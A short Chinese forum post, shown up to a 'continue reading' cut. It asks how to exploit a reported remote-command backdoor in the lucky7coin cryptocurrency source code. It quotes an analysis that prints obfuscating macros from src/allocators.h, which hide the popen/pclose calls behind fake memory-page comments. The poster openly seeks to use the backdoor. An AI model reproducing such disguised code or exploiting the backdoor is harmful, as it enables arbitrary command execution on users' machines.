据说下面的代码给使用该程序的骇客留了后门,这是Github上的lucky7coin开源项目的源代码。谁能看懂说说吧,如何利用该后门:There's a backdoor in the IRC code that gives the attacker the ability to run arbitrary commands on the victim's host.
In src/allocators.h we see these macros being defined, in an attempt to hide 'popen' and 'pclose' calls:
/** Determine system page size in bytes */
#define S_ORDER(a,b,c,d) b##a##d##c
/**
* OS-dependent memory page locking/unlocking.
* Defined as policy class to make stubbing for test possible.
*/
#define CLine S_ORDER(I,F,E,L)
/**
* Singleton class to keep track of locked (ie, non-swappable) memory page
...
继续阅读
(10)